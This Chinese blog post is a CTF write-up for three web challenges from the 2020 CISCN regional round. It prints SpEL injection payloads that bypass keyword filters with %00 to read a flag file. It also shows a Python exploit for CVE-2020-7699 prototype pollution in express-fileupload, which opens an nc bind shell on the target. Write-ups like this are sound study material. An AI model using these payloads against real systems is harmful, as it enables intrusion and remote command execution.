整理下前两天国赛分区赛的wp,我们队只做出了三道web
虽然还没出最终结果,但应该是没进决赛了
还是缺个pwn手啊。。。。

web3

image-20200912154518402

看到题目,有三个需要绕过得点,应该不难

然后 发现url是cat.php

下意识得访问了下flag.php

image-20200912154814530

????就这???

web4

img

在输入框中输入表达式可以得到表达式结果。

img

尝试fuzz,发现框架关键字springframework、Spel

img

初步判断为SPEL注入,经过测试后发现Runtime,new,T(、getclass,get( 等都被禁止了。而files,Files,readAllLines没有被禁止。

构造payload尝试读取flag

T(java.nio.file.Files).readAllLines(T(java.nio.file.Paths).get(\’/flag\’))

然而由于new,T(、getclass,get( 等都被禁止,无法执行。

img

尝试使用00%截断bypass,绕过T( get( 的判断。修改payload

T%00(java.nio.file.Files).readAllLines(T%00(java.nio.file.Paths).get%00(\’/flag\’))

img

报错,尝试把flag改成flag.txt flag.txt1 fl4g

T%00(java.nio.file.Files).readAllLines(T%00(java.nio.file.Paths).get%00(\’/flag.txt\’))

成功读到flag.txt

img

web7

发开页面后发现为一个bootstrap的示例页面

image-20200912151631209

扫描端口发现有3000端口开放

image-20200912151832000

结合wappalyzer分析后端为node.js加nginx反向代理

image-20200912152014613

发现404页面为这样的,推测有看目录穿越漏洞

image-20200912152132248

尝试多次后未果

转变思路,发现由于配置不当,访问/static../后可以穿越目录看到后端源码

image-20200912152208797

app.js内容如下

image-20200912152345680

访问/4_pATh_y0u_CaNN07_Gu3ss后发现

image-20200912152440350

再转变思路,研究app.use(fileUpload({ parseNested: true }));

发现此处可能会有CVE-2020-7699漏洞,发现下面的博客

https://blog.p6.is/Real-World-JS-1/

学习一番后觉得可以用此洞来getshell

先试了反向shell,发现出不了外网,也连不了自己得主机,遂弃

后利用nc正向shell,得flag

exp如下:

#Coder: r3t7rn
#Date: 2020.9.12 ciscn2020
import requests

cmd = "nc -l -p 5555 -e /bin/sh"
# pollute
r1=requests.post(\'http://172.20.id.107/4_pATh_y0u_CaNN07_Gu3ss\', files = {\'__proto__.outputFunctionName\': (
    None, f"x;process.mainModule.require(\'child_process\').exec(\'{cmd}\');x")})
print(r1.text)
# execute command
r2=requests.get(\'http://172.20.id.107\')
print(r2.text)

版权声明:本文为r3t7rn原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://www.cnblogs.com/r3t7rn/p/13692921.html